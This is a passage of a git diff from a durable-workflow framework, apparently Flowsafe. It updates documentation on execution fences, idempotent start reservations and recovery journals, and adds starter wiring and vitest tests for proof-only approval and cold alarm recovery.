v1 and absent-provenance ordinary status, resume and lifecycle completion through one authoritative observation. Apply the existing binding, canonical-record and principal checks to legacy status. Legacy terminal cleanup requires no recovery journal and a confirmed raw terminal outcome; it never manufactures generation identity or spends a start key. Normal termination retains canonical agent records until lifecycle completion confirms. -Reject sparse economic-operation lists before execution or lifecycle writes, including resume inputs. Copy indexed entries without calling caller-supplied array methods, and preserve valid dense/inherited entries and the existing lifecycle-format error. This prevents successful execution from producing an unreadable snapshot with null operation placeholders. +Create modern-unbound reservations and replace run-only claim, release and settlement with exact observed-row operations. Claim/release stamps advance without serving as generation tokens; only the caller's own valid write result proves a winning claim. Private replay compares the full generation before pending/result classification and preserves the value from its one authoritative read. Alias binding and prepared binding retain their distinct response-loss rules. Remove `claim`, `release`, `settleRun` and `rollbackFencedStart`; custom router wiring must provide the private `persistedStart` callback. -Project stored run summaries from the selected workflow's direct step records instead of merging child workflow rows over dotted root step names. Preserve root payloads and suspension timestamps across child-only updates while retaining detailed nested resume preparation, grant fingerprints, cache-fallback safeguards and existing deadline refusals. This correction does not activate the staged generation-bound admission or private replay protocol. +Guard replay proof nomination with its original proof round/caller epoch, current exact snapshot and bound reservation at the final SQL write. Legacy proof setters cannot overwrite modern identity. Runtime, workflow-host, approval and signal re-entry gates compare complete physical generations and retain their original expectation through relevant waits. Direct approval compositions now pass an explicit trusted workflow namespace. External effects are not transactional with these checks. -Add an internal reader that derives physical execution identity and a root-local summary from one stored v2 observation. Preserve exact D1 observations and explicit unfenced namespaces, reject malformed modern state, and distinguish raw pending state from nonpending results. Existing start, status, recovery and host callers remain unchanged; this prerequisite does not activate generation binding or final-write epoch enforcement. +Capture trusted authority before asynchronous work across Worker configuration, protected JSON/header transport and the eighth agent-start authority argument. Keep public bodies and application context from supplying a winning claim. Preserve source-owner versus initiating-principal attribution, exact lifecycle counter exhaustion checks and rejection of sparse economic-operation lists. -Stage internal exact reservation claim, release, alias association, prepared binding and full-execution settlement methods. Claim and release strictly advance an observation stamp and require their own valid write response; alias and prepared binding have distinct readback rules. Reuse immutable reservation capture in atomic admission without changing its witness checks. Default reservation creation and Runtime, host, rollback and retention callers remain on legacy behavior pending coordinated activation. +Final schedule-write protection, generation-aware retention and actual workerd/D1 acceptance remain required before enabling artifact-epoch enforcement across a deployment. Administrative support and explicitly unfenced execution do not supply those guarantees. diff --git a/docs/approval-system.md b/docs/approval-system.md index 1075389f..c9ecee80 100644 --- a/docs/approval-system.md +++ b/docs/approval-system.md @@ -134,6 +134,8 @@ Both D1 and in-memory stores implement compare-and-swap transitions: The service always routes batch work through the same single-record methods. Batch APIs do not bypass authorization, attribution, notification, audit, or resume logic. +When constructing `ApprovalService` or `buildHostApprovalService` directly, supply the trusted `workflowTablePrefix` for its D1 workflow storage. The empty string means the default namespace; omission means unknown. Built-in Worker and starter compositions pass their actual prefix. Proof-only decisions require a complete matching workflow/run/generation at that namespace and recheck the originally selected generation after separation-of-duties/history waits, before the approval CAS. A replacement run cannot inherit the earlier decision authority. These checks preserve the existing terminal-run SQL guard; they do not make approval storage and external resume effects one transaction. + ## SLA and notifications `sweepSLA(store, options)` reads the deployment store and transitions overdue open requests to `escalated`. Run it through the maintenance Durable Object duty, never an HTTP route. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 9471d929..901cf9a2 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -171,7 +171,7 @@ Administrative metadata does not establish final-write run or schedule protectio Additive proof-identity columns preserve an active fence's epoch, revision, receipt, state, and timestamps. A complete stored proof identity includes its D1 prefix, workflow, run, and token. Admin reads and conflicts expose neither this identity nor its token; a newly applied admin command clears it with the proof-run binding, while an exact retry preserves it. -These schema/read fields do not enable generation-aware execution checks. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority. +Runtime, approval and signal proof gates compare the complete stored generation. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority; an admin reading or validated identity alone cannot authorize execution or establish owning quiescence. `GET /admin/inventory` returns the category index. Add `?category=&cursor=&limit=` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration. @@ -183,7 +183,11 @@ Set `mutationEpoch` on `createFlowsafeWorker()` to a nonnegative safe-integer nu The topologies stamp `x-flowsafe-mutation-epoch` for internal calls, replacing or removing incoming values. `createActorResolver()` refuses that header on public requests. Both Durable Object shells capture it before deployment verification and decode the captured value only afterward. -This configuration establishes transport, not final-write enforcement. Runtime still emits v1 provenance and uses the existing fence-state predicate, even if the stored epoch requirement is active. Keep activation disabled until the coordinated run writer, recovery and schedule mutation integration is complete. +Fenced Runtime starts enforce the captured caller epoch at the initial D1 write and bind their generated execution identity with the winning claim and proof. Both hosts journal preparation and recover only exact owned generations. Final schedule-write protection and generation-aware retention still require implementation and acceptance before enabling artifact epochs across the deployment. An explicitly unfenced Runtime retains ordinary persistence and supplies no atomic fence guarantee. + +Custom run-router idempotency wiring must supply the topology's private `persistedStart(workflowId, runId)` callback alongside its store, fence and liveness probe. It carries one observed identity/result internally; ordinary public status is not a substitute. Use `claimReservation`, `releaseReservation`, `associateReservation`, `bindPreparedStart` and `settleExecution` with their exact observations. The old run-only methods and HTTP rollback helper are removed. + +The liveness callback must observe the owning execution surface and reject when that observation is unavailable. Returning `false` permits reclaiming an existing reserved key with no persisted result. The built-in topologies require a valid boolean response, and the agent host includes Core's retained stream registrations. ### Advanced routes diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 4038853f..3064082d 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -144,14 +144,18 @@ The key is accepted by `POST /runs`, trusted `AgentThreadStartInput` calls, and Retries use these outcomes: -- A persisted snapshot returns the same run and state without executing again -- A `reserved` row with no snapshot reclaims the same reserved run ID -- A live `started` row with no snapshot returns `IDEMPOTENT_START_PENDING` and `pendingSince` +- A matching nonpending generation returns its observed result without executing again +- A modern-unbound `reserved` row with no snapshot can claim the same reserved run ID after the owning liveness probe confirms it is not live +- A live `reserved` or `started` row with no snapshot returns `IDEMPOTENT_START_PENDING` and `pendingSince` - A non-live `started` row with no snapshot returns `IDEMPOTENT_START_UNRESOLVABLE` - A `terminal` row whose snapshot expired returns `IDEMPOTENT_START_ALREADY_SETTLED` +Bound reservations compare namespace, workflow, run and execution token before classifying a snapshot as pending or a result. A replacement generation never supplies a replay or liveness answer for the original one. Valid pending snapshots are nonreplayable. Legacy nonterminal reservations remain unresolved; legacy terminal reservations stay spent. An unbound alias can bind a result observed in one authoritative read even if that snapshot disappears afterward; it returns that original value. + `IDEMPOTENT_START_UNRESOLVABLE` is a point-in-time probe. A read can occur between the Worker-side claim and the run object learning that execution started, so re-probe before investigating or choosing a fresh key. Flowsafe never starts another run automatically. A replayed suspended start returns the persisted `RunSummary` without the start response's `approval` and `approvals` fields; read `GET /runs/:workflowId/:runId` to reconcile approval state. +An agent stream can remain registered while Core finishes cleanup after a refused start. During that interval, retrying a released key returns pending without claiming it again. An unreadable liveness response returns `503` and leaves the reservation unchanged; it does not establish that the run is absent. + The reservation remains valid for its retention horizon. Once the terminal reservation is purged, the same key is fresh and can start another run. Keep the horizon at least as long as callers can retry. ## Durable state @@ -176,15 +180,15 @@ A missing pre-0.20 table or empty five-column legacy table reads as optional `op Store reads are uncached and require an authoritative database binding, not an unconstrained read replica. Metadata versioning is administrative state, not a guarantee that every run or schedule writer enforces it. Activate the epoch requirement only after every writer supports final-write epoch checks; administrative support alone is insufficient. -`recordProofRun(key, runId, admitted)` binds proof metadata only at the admitted epoch and revision. Two-argument legacy calls work only while the requirement is optional. Neither form changes the administrative revision or receipt, and a retry of the same binding preserves its timestamp. This metadata write is not itself atomic run admission. +`recordProofRun(key, runId, admitted)` retains legacy metadata compatibility at the admitted epoch and revision. Two-argument calls work only while the requirement is optional, and neither form can overwrite or acknowledge a modern proof identity. Initial admission binds modern proof identity atomically. Replay nomination separately checks its original proof round and caller epoch against the current exact snapshot and bound reservation at the final SQL write. It preserves the administrative revision, receipt and existing nomination timestamp. `flowsafe_start_idempotency` stores owner, target, server-minted run ID, reservation state, and timestamps. The claim from `reserved` to `started` is the cross-isolate serializer. Terminal run cleanup pairs snapshot and reservation retention so a spent key remains distinguishable from a fresh key until its configured horizon expires. Reservation reads also return a `binding`: `legacy` for an unassociated old-format row, `unbound` for a modern row awaiting association, or `bound` with an execution identity. A bound identity has `tablePrefix`, `workflowId`, `runId`, and `startToken`. A null prefix explicitly asserts no D1 namespace; it differs from the empty string, which identifies the default D1 tables. -Schema upgrades preserve existing rows and add nullable binding columns. Current reservation writes still produce legacy bindings; automatic generation binding is not enabled. +Schema upgrades preserve existing rows and add nullable binding columns. New reservations explicitly use the modern-unbound representation. An exact claimed row travels through protected host channels to Runtime; public bodies and application context cannot supply one. -The internal `StartIdempotencyStore` methods stage exact reservation operations for coordinated writer integration: +`StartIdempotencyStore` provides these exact reservation operations: | Method | Required observation and result | | --- | --- | @@ -196,11 +200,11 @@ The internal `StartIdempotencyStore` methods stage exact reservation operations Claim and release compare every observed field and strictly advance `updatedAt` using the captured clock or the previous stamp plus one. This optimistic concurrency control stamp is neither an execution generation nor a host correlation token. A stopped or backward clock can make `pendingSince` lead wall time; an exhausted nonadvancing stamp refuses before database access. Only a successful claim response establishes that caller’s claim, because simultaneous contenders can propose the same stamp. -Binding preserves both timestamps. Alias readback can accept later state changes, including terminal settlement, while prepared-start readback must preserve the exact original claim. Settlement uses one finite captured clock even when it precedes the previous timestamp. These operations require the current schema without creating or upgrading tables; settlement alone treats a genuinely absent table as empty. Built-in writers and callers retain the existing legacy methods until coordinated activation. +Binding preserves both timestamps. Alias readback can accept later state changes, including terminal settlement, while prepared-start readback must preserve the exact original claim. Settlement uses one finite captured clock even when it precedes the previous timestamp. These operations require the current schema without creating or upgrading tables; settlement alone treats a genuinely absent table as empty. The old run-only `claim`, `release`, `settleRun` methods and `rollbackFencedStart` helper are removed. Use the exact observation APIs and let Runtime or the owning host perform locally evidenced rollback; a generic HTTP 409/503 cannot establish that nothing executed. The fence can retain a complete D1 proof identity alongside `proofRunId`. Store readings expose it as `proofExecution`; admin JSON excludes that identity and its token. Adding its nullable columns preserves active epochs, revisions, receipts, proof fields, and timestamps. -Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. These representations do not change the current run-ID-based execution predicates. +Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. Proof-only existing-work gates require the complete D1 namespace/workflow/run/generation tuple. They retain the admitted generation across preparation and policy waits, including a final active-run check before agent delivery. They do not make external effects transactional with fence state. ### Validate execution identity data @@ -223,7 +227,7 @@ Invalid identity or epoch input throws the corresponding `INVALID_EXECUTION_IDEN Workflow and agent starts retain the original actor, principal, epoch and selectors across body, policy and ownership waits. Context snapshots preserve declared host methods on their original receiver, including class-backed methods. Both Durable Object shells capture header strings before asynchronous deployment verification and interpret only those captured strings afterward. -`RunnerRuntime.start()` accepts the trusted epoch, logical start identity, agent mode, prepared-identity callback and resource-owner guard. It captures their declared fields before waits but continues using v1 provenance and the existing state-only start predicate. It does not invoke the callback or automatically enter admission or repair scopes; the coordinated writer/recovery integration remains required. +`RunnerRuntime.start()` captures the trusted epoch, original logical identity, agent mode, prepared callback, exact winning claim and resource-owner guard before waits. New starts write v2 with an independently generated execution token. Resumes preserve that token and original identity/epoch/mode while assigning a new current-leg token. Managed hosts supply real awaited preparation callbacks; direct callers may omit one. Before a modern start or resume resolves, Runtime requires the expected generation/current leg and a nonpending durable result from its captured storage source. `RUN_START_PENDING` is a fixed status 503 refusal; it supplies no rollback authority. Economic-operation lists must contain an entry at every index. Start, resume and shared lifecycle parsing reject sparse lists with the existing lifecycle-format error instead of persisting null placeholders or silently dropping operations. Valid dense lists retain their existing validation and settlement behavior. @@ -233,13 +237,19 @@ Economic-operation lists must contain an entry at every index. Start, resume and Advanced trusted integrations can obtain `FENCED_WORKFLOW_STORAGE` from the actual workflow domain. The capability exists only for a selected raw binding with transactional `batch()` support; standalone client and REST configurations retain ordinary adapter behavior without that capability. Fence and participating reservation stores must hold that exact binding. The capability reports its actual lowercase table prefix, with the empty string identifying the default namespace. -An internal Runtime reader now derives physical execution identity and a root-local summary from one stored v2 observation. It captures the registered workflow's actual storage source before reading; D1 results retain exact raw bytes, while custom storage results explicitly have no D1 namespace. Raw pending state remains initial regardless of lifecycle metadata or an admission stamp. The reader grants no logical-root, replay or proof authority, and existing start, status, recovery and host paths do not yet call it. +Runtime derives physical execution identity and a root-local summary from one stored v2 observation. It captures the registered workflow's actual storage source before reading; D1 results retain exact raw bytes, while custom storage results explicitly have no D1 namespace. Raw pending state remains initial regardless of lifecycle metadata or an admission stamp. Protected replay validates the actual workflow or agent wrapper's logical selectors and projects its public value from that same observation. Internal identity, raw rows and journals are not included in public responses. -Call `withInitialAdmission(admission, () => workflow.createRun(...))` around initial Core creation only. Supply a server-generated generation token, the original caller epoch and proof observation, and a coherent trusted v2 request context. A keyed call also requires an already-started modern-unbound reservation; current reservation creation does not emit that representation automatically. Both callbacks are invoked as plain functions; use a closure or bound function when you need a receiver. +| Runtime configuration | Admission and interrupted-start behavior | +| --- | --- | +| Configured fence | Require the actual capable D1 domain, matching database bindings and a positive initial-write witness; owning recovery may use exact initial-row repair | +| Capable D1 without a fence | Keep the actual string namespace and ordinary persistence options; bind a keyed prepared identity before creation, retaining uncertain outcomes | +| Custom storage without the capability or a fence | Use explicit null namespace and the same conservative prepared binding; missing or pending state supplies no initial-repair or rollback proof | + +The fenced Runtime calls `withInitialAdmission(admission, () => workflow.createRun(...))` around initial Core creation only. Advanced trusted callers use the same boundary with a server-generated generation token, original caller epoch/proof observation and coherent v2 context. A keyed call requires its own successful modern-unbound started claim. Both callbacks are invoked as plain functions; use a closure or bound function when you need a receiver. The initial conditional INSERT atomically chains its winning reservation and proof bindings. Only a positive exact witness permits the caller to invoke the returned Run’s `start()` after the scope ends. Suppressed pending persistence, a cached/existing Run, or another domain’s write does not supply that witness. -Admission stamps `initialAdmission: true` into the stored provenance. Ordinary updates can preserve that stamp while changing the row’s bytes or status. The marker alone proves neither an unchanged initial row, lack of progress, nor absence of effects. Inspect the full authoritative row and its execution identity; this primitive does not activate marker-based Runtime recovery. +Admission stamps `initialAdmission: true` into the stored provenance. Ordinary updates can preserve that stamp while changing the row’s bytes or status. The marker alone proves neither an unchanged initial row, lack of progress, nor absence of effects. Recovery checks the full authoritative row and its execution identity. The same capability exposes `terminalizeInitialAdmission({ expected, execution, attemptToken, nowMs })` for explicit repair of an already-admitted initial row. It accepts the exact raw observation and generation/correlation tokens, not a caller-selected status or replacement snapshot. An eligible row is pending, admission-stamped, and still has the strict initial control and provenance fields. Legacy observations and valid but ineligible rows return an input error; malformed consumed snapshot or owned metadata returns `EXECUTION_FENCE_UNREADABLE`. @@ -247,13 +257,23 @@ Before repair, the trusted owning host must establish exclusive quiescence for t Without a recorded cancellation or timeout intent, repair writes a fixed `StartOutcomeUnknown` failure: effects may have occurred, and the run must not be automatically re-executed. A stored intent supplies its own disposition and replay principals. Repair preserves economic metadata, refuses forced termination during a dispute, and returns any required terminal cleanup without performing it. Both outcomes clear active/suspension fields and remove the admission stamp from the replacement only. -The write compares all six original raw-row fields in one UPDATE and joins the serialized background domain’s existing per-run queue. An exact result is `terminalized`; one readback can establish `already-terminalized` or same-generation, known nonpending `progressed` state. A pending readback is never progress, even without the stamp. A known conditional miss can return `conflict`; an uncertain write remains unreadable unless exact replacement or progress is observed. Malformed returned data does not trigger recovery. This operation supplies no no-insert evidence, does not run an engine or cleanup, and is not yet wired into Runtime or host recovery. +The write compares all six original raw-row fields in one UPDATE and joins the serialized background domain’s existing per-run queue. An exact result is `terminalized`; one readback can establish `already-terminalized` or same-generation, known nonpending `progressed` state. A pending readback is never progress, even without the stamp. + +A known conditional miss can return `conflict`; an uncertain write remains unreadable unless exact replacement or progress is observed. Malformed returned data does not trigger recovery. This operation supplies no no-insert evidence and runs neither an engine nor cleanup. Runtime projects the returned row directly, then strictly settles its terminal execution before handing required cleanup to the owning host. -Lifecycle revisions and resume ordinals remain readable at `Number.MAX_SAFE_INTEGER`, but an operation that would increment an exhausted counter now refuses before persistence or execution. Existing no-increment paths keep their behavior. Runtime continues writing v1 provenance, and reservation writes remain legacy-null. +Lifecycle revisions and resume ordinals remain readable at `Number.MAX_SAFE_INTEGER`, but an operation that would increment an exhausted counter refuses before persistence or execution. Existing no-increment paths keep their behavior. Legacy provenance remains explicitly readable/resumable under its compatibility rules; it never acquires a manufactured v2 generation. + +Normal hosts also validate v1 and absent-provenance observations from the actual selected storage source. With no recovery journal, a known raw terminal outcome and unchanged canonical owner, record and binding permit ordinary lifecycle completion and record cleanup. Legacy requester metadata may change during an authorized resume; it does not replace the saved run-record principal or actual resource owner. Legacy cleanup cannot infer a generation or change a start reservation. Termination and completion retain their existing lifecycle compare-and-swap writes. A validated all-zero batch changes no participant. `isDefinitiveInitialAdmissionRefusal(error, execution)` recognizes only package-owned, in-process evidence for that exact execution, including bounded cause wrappers. It never authorizes deleting a durable snapshot. A thrown batch converges only on matching raw bytes and every required binding; malformed returned results and uncertain readbacks cannot grant a witness. -`readSnapshot()` returns an immutable observation of the six stored fields without Core cache fallback or timestamp conversion. Built-in Runtime still emits v1 and does not enter these scopes. Host integration, exact recovery and final schedule enforcement remain prerequisites for activating artifact epochs; this low-level primitive does not complete that rollout. +`readSnapshot()` returns an immutable observation of the six stored fields without Core cache fallback or timestamp conversion. Both managed hosts persist v2 `preparing`, `prepared` or `prepared-unfenced` journals at their existing recovery keys. They retain the original keyed claim and actual source owner, which may differ from the initiating principal. Preparation response loss converges only on the exact durable phase/identity. V1 journals stay unresolved. + +Recovery requires awaited owning quiescence equal to true and exact journal/frame matching. A new Runtime's empty map proves no inactivity. Cold agent alarms reconstruct the actual registered wrapper from a principal-free instance scope before reading a workflow; the alarm passes its captured verified deployment tag. Runtime checks the host's expected target and agent mode against the same row it recovers, including any returned repair observation. + +A workflow journal must match its named Durable Object before recovery can use that object's quiescence. Agent recovery rechecks the complete journal after the authoritative read and before rolling back H-owned reservations. Both hosts require a keyed journal's configured reservation store before bookkeeping, even when its selected outcome is nonterminal. + +Strict terminal reservation settlement precedes managed approval, dispatch, owner and completion cleanup, with exact journal clearing last. Failures retain the journal and watchdog. A missing snapshot after fenced preparation also retains the journal and agent record/binding, preventing an unkeyed same-ID retry from executing again. Only an actual local, matching zero-insert receipt with an unwound owning frame and an absent row permits complete rollback. Prepared-unfenced absence/pending never enters initial repair or unspends a bound key. Final schedule enforcement and generation-aware retention acceptance remain required before enabling artifact epochs across the deployment. ### Snapshot provenance diff --git a/docs/durable-agents.md b/docs/durable-agents.md index 3449c340..887f9163 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -168,11 +168,19 @@ const durableAgent = createFlowsafeDurableAgent({ `createFlowsafeDurableAgent()` registers Mastra's `durable-agentic-loop` workflow on the supplied runtime. Its `stream()`, `generate()`, and `prepare()` entry points require a host-minted opaque run id. Only a start registered through `streamUntilPersisted()` reaches `RunnerRuntime`; an unregistered start fails terminally after a bounded, best-effort attempt to preserve its serialized input. Preservation is skipped when the thread is missing or memory is explicitly read-only. `prepare()` remains an initial-execution API and runs the full initial processor chain. `resumeViaRuntime()` uses the dedicated registry rehydration behavior described above. -The trusted host calls `streamUntilPersisted(messages, options, requestedBy, requestedByKind, attemptToken, scheduleDispatch, idempotencyKey, authority)`. The eighth argument is required; pass explicit `undefined` for unused positional options. Its `AgentStartAuthority` type is exported only from `agent-runner`. It carries the initiating owner, agent and thread identity, threaded mode, optional caller epoch, and separate resource-owner guard. +The trusted host calls `streamUntilPersisted(messages, options, requestedBy, requestedByKind, attemptToken, scheduleDispatch, idempotencyKey, authority)`. The eighth argument is required; pass explicit `undefined` for unused positional options. Its `AgentStartAuthority` type is exported only from `agent-runner`. It carries the initiating owner, agent and thread identity, threaded mode, optional caller epoch, separate resource-owner guard and original successful start-reservation claim when keyed. The bridge captures that authority before streaming and keeps it out of Core input, stream options and public JSON. It preserves the original method caller's requester identity even when a schedule or thread has a different resource owner. Mutable caller objects cannot replace the captured values after an await. -The `onPreparedStartIdentity` property must exist on the authority, but may be `undefined` at this transport stage. Built-in hosts explicitly supply `undefined`; supplied functions are retained without invocation. Runtime and owner-recovery journals remain v1 until coordinated admission and recovery activation. Do not supply a placeholder callback as evidence of a prepared journal. +The `onPreparedStartIdentity` property must exist on the authority. Managed hosts supply an awaited callback that persists the prepared execution identity before initial admission; direct integrations may explicitly omit the callback with `undefined`. A placeholder callback does not establish a durable journal. Runtime generates a v2 execution token independently of the host's leg token and acknowledges the persistence waiter only after observing the matching nonpending durable outcome. + +Both threaded and ephemeral agent starts use exact preparation journals and preserve the actual source owner separately from the initiating principal. Recovery after eviction reconstructs the actual wrapper before reading its workflow, without a synthetic request principal. A valid pending generation stays unresolved; prepared-unfenced absence or pending state cannot authorize initial repair. Terminal reservation settlement precedes approval, dispatch, owner and lifecycle cleanup, with exact journal clearing last. + +The blocking-run scan and new run-record installation share the same lock, including on an already bound thread whose ownership is committed. Recovery validates a keyed journal's reservation-store configuration before bookkeeping and rechecks the complete journal after storage waits before releasing reservations. + +Ordinary v1 and absent-provenance runs retain validated status, resume and lifecycle completion. Their mode, binding, canonical run record and saved principal pass the same normal host checks. Only a confirmed raw terminal outcome with no recovery journal and no active owning execution permits legacy record cleanup. These compatibility reads supply no generation identity or start-key settlement authority. During termination, the canonical record remains until lifecycle completion confirms. + +Protected keyed replay reads the actual wrapper's workflow once and pairs its public envelope with that observation's identity. A terminal ephemeral run does not need a retained thread binding to replay. Optional stored context may be pruned, but present selectors must agree with the original agent/thread/mode. The execution token, raw snapshot, claim and recovery journal remain internal. Proof-only signal delivery retains the selected generation through policy and memory waits and checks the active run again immediately before delivery. The runtime's pub/sub identity is reused by default. This lets the durable loop, observer, and active-thread signal delivery share one feed inside the thread Durable Object. diff --git a/packages/agent-starter/src/conformance/state-durable-objects.ts b/packages/agent-starter/src/conformance/state-durable-objects.ts index 19855c97..6db32b3e 100644 --- a/packages/agent-starter/src/conformance/state-durable-objects.ts +++ b/packages/agent-starter/src/conformance/state-durable-objects.ts @@ -212,6 +212,7 @@ export class ConformanceState { // resumes, and a conformance state script on a locked deployment must // refuse rather than record a decision with nothing behind it. executionFence: executionFenceFor(this.#env.DB), + workflowTablePrefix: '', }, ); } diff --git a/packages/agent-starter/src/durable-objects.ts b/packages/agent-starter/src/durable-objects.ts index f9847e41..5e0c4337 100644 --- a/packages/agent-starter/src/durable-objects.ts +++ b/packages/agent-starter/src/durable-objects.ts @@ -200,6 +200,7 @@ export class StarterThread extends ThreadDurableObject { // the service: a decision recorded against a locked deployment // would be durable with nothing behind it. executionFence: executionFence(env.DB), + workflowTablePrefix: '', ...(this.env.STREAM_TICKET_SECRET ? { stream: (event) => @@ -241,11 +242,16 @@ export class StarterThread extends ThreadDurableObject { _env: Env, threadId: string, initResult: InitResult, + deploymentTag?: string, ): Promise { if (!this.#agentHost) { throw new Error('thread agent host is unavailable'); } - await this.#agentHost.recoverOwnership(initResult.runtime, threadId); + await this.#agentHost.recoverOwnership({ + threadId, + init: initResult, + deploymentTag, + }); } #host(): ThreadAgentHost { diff --git a/packages/agent-starter/src/principal-context.ts b/packages/agent-starter/src/principal-context.ts index e8bd06d7..e6f1f405 100644 --- a/packages/agent-starter/src/principal-context.ts +++ b/packages/agent-starter/src/principal-context.ts @@ -82,6 +82,7 @@ export function contextForPrincipal( // decide() COMMITS before it resumes. store, executionFence: executionFence(env.DB), + workflowTablePrefix: '', }), }); } diff --git a/packages/agent-starter/test/durable-object-lifecycle.test.ts b/packages/agent-starter/test/durable-object-lifecycle.test.ts index 30f73bbc..a315cad8 100644 --- a/packages/agent-starter/test/durable-object-lifecycle.test.ts +++ b/packages/agent-starter/test/durable-object-lifecycle.test.ts @@ -1,12 +1,28 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import type { DurableObjectState } from '@cloudflare/workers-types'; +import { + type AgentThreadInstanceScope, + createThreadAgentHost, +} from '@proofoftech/flowsafe/agent-host'; +import { seedDeploymentIdentity } from '@proofoftech/flowsafe/do-runner'; +import { describe, expect, it, vi } from 'vitest'; import { discardStarterScheduleDispatch, idleRunScheduleDispatch, + StarterThread, } from '../src/durable-objects.js'; -import { schedulesStore } from '../src/storage.js'; +import { executionFence, schedulesStore } from '../src/storage.js'; + +vi.mock('@proofoftech/flowsafe/agent-host', async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + createThreadAgentHost: vi.fn(actual.createThreadAgentHost), + }; +}); interface SqliteStatement { get(...params: unknown[]): unknown; @@ -93,6 +109,71 @@ function sqliteUnitDatabase(db: SqliteDatabase): unknown { } describe('starter run lifecycle wiring', () => { + it('FS8 D3 host activation passes the verified instance to cold alarm recovery', async () => { + const db = sqliteUnitDatabase(openSqlite()) as Env['DB']; + await seedDeploymentIdentity(db, 'acme', 'open'); + const values = new Map(); + let alarm: number | null = null; + const state = { + id: { name: 'starter-cold-thread' }, + storage: { + async get(key: string): Promise { + return values.get(key) as T | undefined; + }, + async put(key: string, value: unknown) { + values.set(key, structuredClone(value)); + }, + async delete(key: string) { + return values.delete(key); + }, + async list({ prefix }: { prefix: string }) { + return new Map([...values].filter(([key]) => key.startsWith(prefix))); + }, + async getAlarm() { + return alarm; + }, + async setAlarm(at: number | Date) { + alarm = at instanceof Date ? at.getTime() : at; + }, + async deleteAlarm() { + alarm = null; + }, + }, + } as unknown as DurableObjectState; + const env = { + DB: db, + DEPLOYMENT_TENANT: 'acme', + DEPLOYMENT_IDENTITY_SECRET: 'starter-alarm-identity-secret-0001', + } as Env; + const createHost = vi.mocked(createThreadAgentHost); + const actualCreate = createHost.getMockImplementation(); + if (!actualCreate) throw new Error('actual host factory is missing'); + const scopes: AgentThreadInstanceScope[] = []; + createHost.mockImplementation((options) => { + const host = actualCreate(options); + const recover = host.recoverOwnership; + vi.spyOn(host, 'recoverOwnership').mockImplementation((scope) => { + scopes.push(scope); + return recover.call(host, scope); + }); + return host; + }); + try { + await new StarterThread(state, env).alarm(); + expect(scopes).toHaveLength(1); + expect(scopes[0]).toMatchObject({ + threadId: 'starter-cold-thread', + deploymentTag: 'acme', + }); + expect(scopes[0]?.init.runtime.executionFence).toBe(executionFence(db)); + expect(scopes[0]).not.toHaveProperty('principal'); + expect(values.size).toBe(0); + expect(alarm).toBeNull(); + } finally { + createHost.mockImplementation(actualCreate); + } + }); + it('marks only a fully identified idle-run dispatch as lease-held', () => { expect( idleRunScheduleDispatch({ diff --git a/packages/agent-starter/test/execution-fence-composition.test.ts b/packages/agent-starter/test/execution-fence-composition.test.ts index 98c23b3e..b20d4bf1 100644 --- a/packages/agent-starter/test/execution-fence-composition.test.ts +++ b/packages/agent-starter/test/execution-fence-composition.test.ts @@ -10,10 +10,18 @@ // it — which is why the assertion below is on the schedule ROW, not on the // tally the pass returned. -import { ExecutionFenceStore } from '@proofoftech/flowsafe/do-runner'; +import type { WorkflowRunState } from '@mastra/core/workflows'; +import { humanPrincipal } from '@proofoftech/flowsafe/approval-api'; +import { + createD1Storage, + ExecutionFenceStore, + StartIdempotencyStore, +} from '@proofoftech/flowsafe/do-runner'; +import { approvalStoreFactoryFor } from '@proofoftech/flowsafe/host-kit'; import { describe, expect, it } from 'vitest'; import { starterMaintenanceTick } from '../src/maintenance.js'; +import { contextForPrincipal } from '../src/principal-context.js'; import { schedulesStore } from '../src/storage.js'; interface SqliteStatement { @@ -170,3 +178,126 @@ describe('starter maintenance tick and the deployment execution fence', () => { await expect(store.listTriggers(due.id)).resolves.toEqual([]); }); }); + +describe('FS8 D3 proof activation in the starter', () => { + it.each([ + '', + 'other_', + ])('decides only the configured default workflow namespace when proof is %s', async (proofPrefix) => { + const db = sqliteUnitDatabase(openSqlite()) as Env['DB']; + const env = { DB: db, DEPLOYMENT_TENANT: 'acme' } as Env; + const fence = new ExecutionFenceStore(db); + const owner = { kind: 'human' as const, id: 'requester' }; + const workflowId = 'starter-proof'; + const runId = 'starter-proof-run'; + for (const prefix of new Set(['', proofPrefix])) { + const storage = createD1Storage({ binding: db, tablePrefix: prefix }); + await storage.init(); + const workflows = await storage.getStore('workflows'); + if (!workflows) throw new Error('workflow fixture storage is missing'); + const snapshot: WorkflowRunState = { + runId, + status: 'suspended', + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 1_700_000_000_000, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: `generation-${prefix || 'default'}`, + attemptToken: 'leg', + resumeCounts: [], + startIdentity: { + owner, + target: { kind: 'workflow', id: workflowId }, + }, + }, + }, + }; + await workflows.persistWorkflowSnapshot({ + workflowName: workflowId, + runId, + snapshot, + }); + } + const current = await fence.readCurrentRunExecution({ + tablePrefix: proofPrefix, + workflowId, + runId, + }); + if (!current) throw new Error('proof fixture generation is missing'); + const execution = { + ...current, + owner, + target: { kind: 'workflow' as const, id: workflowId }, + }; + const reservations = new StartIdempotencyStore(db); + const reserved = await reservations.reserve({ + key: 'starter-proof-key', + owner, + targetKind: 'workflow', + targetId: workflowId, + mintRunId: () => runId, + }); + const bound = await reservations.associateReservation( + reserved.reservation, + execution, + ); + await fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: reserved.reservation.key, + }); + const reading = await fence.read(); + expect( + await 